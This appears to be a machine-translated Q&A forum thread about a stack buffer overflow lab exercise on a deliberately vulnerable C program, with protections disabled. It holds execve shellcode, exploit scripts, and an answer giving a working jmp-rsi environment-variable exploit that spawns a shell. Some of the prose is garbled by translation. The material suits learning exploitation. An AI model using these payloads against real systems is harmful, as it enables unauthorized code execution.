2017-07-08 7 views
1

je faire un exercice sur une surcharge de mémoire tampon sur un programme C, l'objectif de ce problème est de obtenir le shell root une fois que je l'ai inséré un shellcode dans le programme. Voilà ce que j'ai jusqu'à présent:Un exercice de débordement de tampon à l'aide d'un shellcode

STEP LET'S Firstable voir 1.- mon code C dans le fichier appelé file.c:

[email protected]:~# cat ./file.c 
#include <stdio.h> 
#include <string.h> 

void premio() 
{ 
    printf("I have altered the programs flow\n"); 
} 

int main(int argc, char *argv[]) 
{ 
    char buffer[100]; 
    if (argc != 2) 
    { 
     printf("Use: %s argument\n",argv[0]); 
     return -1; 
    } 
    strcpy(buffer,argv[1]); 
    printf ("%s\n",buffer); 
    return 0; 
} 

STEP J'ai compilled 2.- il et désactiver le ASLR pour éviter de recevoir des adresses aléatoires comme suit:

gcc -fno-stack-protector -z execstack buffer.c -o buffer 

echo 0 > /proc/sys/kernel/randomize_va_space 

STEP LET'S vérifier 3.- comment cela fonctionne:

[email protected]:~# ./file string 
string 
[email protected]:~# ./file `ruby -e 'print "a"*99'` 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 
[email protected]:~# ./file `ruby -e 'print "a"*100'` 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 
[email protected]:~# ./file `ruby -e 'print "a"*125'` 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 
Segmentation fault (this means we have overwritten the EIP register) 

[email protected]:~# gdb ./file 
(gdb) run `ruby -e 'print "a"*125'` 
Starting program: /root/file `ruby -e 'print "a"*125'` 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 

Program received signal SIGSEGV, Segmentation fault. 
0x0000006161616161 in ??() (this is the value of EIP beacuse of the letter a) 
(gdb) 

STEP 4.- Nous trouverons la valeur de la position de l'EIP en utilisant:

[email protected]:~# ./pattern_create.rb -l 125 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae 
[email protected]:~# gdb ./file 
(gdb) run "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae" 
Starting program: /root/file "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae" 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae 

Program received signal SIGSEGV, Segmentation fault. 
0x0000006541306541 in ??() 

[email protected]:~# ./pattern_offset.rb -q 0x0000006541306541 -l 125 
[*] Exact match at offset 120 

In this case we have found that if we write 120 characters the next 5 will be EIP 

STEP 5.- -Maintenant, nous allons créer un script pour écraser le tampon avec le shellcode , le shellcode a été de:

\x31 \xc0   xor eax, eax 
\x50    push eax 
//PUSH /bin 
\x68\x2f\x2f\x73\x68  push 0x68732f2f 
//PUSH //sh 
\x68\x2f\x62\x69\x6e  push 0x6e69622f 
\x89\xe3   mov ebx, esp 
\x50    push eax 
\x53    push ebx 
\x89\xe1   mov ecx, esp 
\xb0\x0b   mov al, 0xb 
\xcd\x80    int 0x80 

[email protected]:~# cat ./exploit.rb 
eip = "bbbbb" 
aes = "a"*97 
shell = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" #23 bytes 

print (shell + aes + eip) #125 bytes total 

STEP 6.- maintenant, nous devons savoir quelle adresse doit sauter pour commencer à exécuter notre shell, mais je suis coincé ici parce que je ne sais pas comment le faire.

(gdb) set disassembly-flavor intel 
(gdb) disass main 
Dump of assembler code for function main: 
    0x0000000000000753 <+0>:  push rbp 
    0x0000000000000754 <+1>:  mov rbp,rsp 
    0x0000000000000757 <+4>:  add rsp,0xffffffffffffff80 
    0x000000000000075b <+8>:  mov DWORD PTR [rbp-0x74],edi 
    0x000000000000075e <+11>: mov QWORD PTR [rbp-0x80],rsi 
    0x0000000000000762 <+15>: cmp DWORD PTR [rbp-0x74],0x2 
    0x0000000000000766 <+19>: je  0x78a <main+55> 
    0x0000000000000768 <+21>: mov rax,QWORD PTR [rbp-0x80] 
    0x000000000000076c <+25>: mov rax,QWORD PTR [rax] 
    0x000000000000076f <+28>: mov rsi,rax 
    0x0000000000000772 <+31>: lea rdi,[rip+0xf1]  # 0x86a 
    0x0000000000000779 <+38>: mov eax,0x0 
    0x000000000000077e <+43>: call 0x5f0 <[email protected]> 
    0x0000000000000783 <+48>: mov eax,0xffffffff 
    0x0000000000000788 <+53>: jmp 0x7b5 <main+98> 
    0x000000000000078a <+55>: mov rax,QWORD PTR [rbp-0x80] 
    0x000000000000078e <+59>: add rax,0x8 
    0x0000000000000792 <+63>: mov rdx,QWORD PTR [rax] 
    0x0000000000000795 <+66>: lea rax,[rbp-0x70] 
    0x0000000000000799 <+70>: mov rsi,rdx 
    0x000000000000079c <+73>: mov rdi,rax 
    0x000000000000079f <+76>: call 0x5d0 <[email protected]> 
    0x00000000000007a4 <+81>: lea rax,[rbp-0x70] 
    0x00000000000007a8 <+85>: mov rdi,rax 
    0x00000000000007ab <+88>: call 0x5e0 <[email protected]> 
    0x00000000000007b0 <+93>: mov eax,0x0 
    0x00000000000007b5 <+98>: leave 
    0x00000000000007b6 <+99>: ret 
End of assembler dump. 

STEP 7.- est ici supouse pour trouver l'adresse de le mettre dans le script d'exploiter en changeant la valeur de EIP mais je ne savent plus quoi faire non plus, désolé

(gdb) run `ruby exploit.rb` 
Starting program: /root/file `ruby exploit.rb` 
1▒Ph//shh/bin▒▒PS▒▒ 
        ̀aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbb 

Program received signal SIGSEGV, Segmentation fault. 
0x0000006262626262 in ??() 
(gdb) x/40x $esp 
0xffffffffffffe590:  Cannot access memory at address 0xffffffffffffe590 
(gdb) x/40x $rsp 
0x7fffffffe590: 0x00600000  0x00000000  0xffffe668  0x00007fff 
0x7fffffffe5a0: 0xf7b9c168  0x00000002  0x55554753  0x00005555 
0x7fffffffe5b0: 0x00000000  0x00000000  0xb3c231f4  0x54cfb08e 
0x7fffffffe5c0: 0x55554610  0x00005555  0xffffe660  0x00007fff 
0x7fffffffe5d0: 0x00000000  0x00000000  0x00000000  0x00000000 
0x7fffffffe5e0: 0xf76231f4  0x019ae5db  0x589031f4  0x019af56f 
0x7fffffffe5f0: 0x00000000  0x00000000  0x00000000  0x00000000 
0x7fffffffe600: 0x00000000  0x00000000  0xffffe680  0x00007fff 
0x7fffffffe610: 0xf7ffe168  0x00007fff  0xf7de875b  0x00007fff 
0x7fffffffe620: 0x00000000  0x00000000  0x00000000  0x00000000 
(gdb) 

À la fin de tout cela doit me donner un shell racine.

Presque à finir, sur les étapes 6 et 7 Je suis vraiment coincé, pouvez-vous m'aider s'il vous plaît?

Merci pour avancés

Meilleures salutations

Répondre

1

en langage C le caractère nul est la fin de l'argument. Donc, vous ne pouvez pas avoir de caractères nuls dans votre charge utile (premier argument). En conclusion, vous devez trouver un moyen de sauter à votre shellcode sans caractères nuls.

Une façon de résoudre votre problème pourrait être l'utilisation des variables d'environnement. Par exemple. enregistrer le saut (jmp rsi)

Pourquoi le registre RSI?

Parce que le décalage est 0

[RSP] --> offset 120 - size ~80 
[RSI] --> offset 0 - size ~203 

Obtenez les opcodes et le garder dans une variable d'environnement.

[[email protected] /tmp]$ rasm2 "jmp rsi" 
ffe6 
[[email protected] /tmp]$ export JMP_RSI=`python -c 'print "\xff\xe6\x00"'` 

Obtenir l'adresse de la variable d'environnement

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

int main(int argc, char *argv[]){ 
     char *ptr; 
     if (argc < 3){ 
       printf("Usage: %s <environment var> <target program name>\n", argv[0]); 
       exit(0); 
     } 
    ptr = getenv(argv[1]); 
    ptr += (strlen(argv[0]) -strlen(argv[2]))*2; 
    printf("%p\n",ptr); 
} 

Compile et obtenir l'adresse

[[email protected] /tmp]$ gcc getenvaddr.c -o getenvaddr 
[[email protected] /tmp]$ ./getenvaddr JMP_RSI ./buffer 
0x7fffffffef3d 

Vous devez ajouter 8 à cette adresse si vous êtes dans le débogueur.

Faire l'exploit

shellcode + padding + EIP (adresse variable d'environnement) -> RSI + padding + JMP RSI

[[email protected] /tmp]$ python -c 'print "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"+"\x90"*(120-30)+"\x3d\xef\xff\xff\xff\x7f"' > input 
[[email protected] /tmp]$ ./buffer `cat input` 
H1�H�//bin/shH�SH��PWH���;������������������������������������������������������������������������������������������=���� 
$ id 
uid=1000(manu) gid=1000(manu) groups=1000(manu),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(scanner),122(vboxusers),124(wireshark)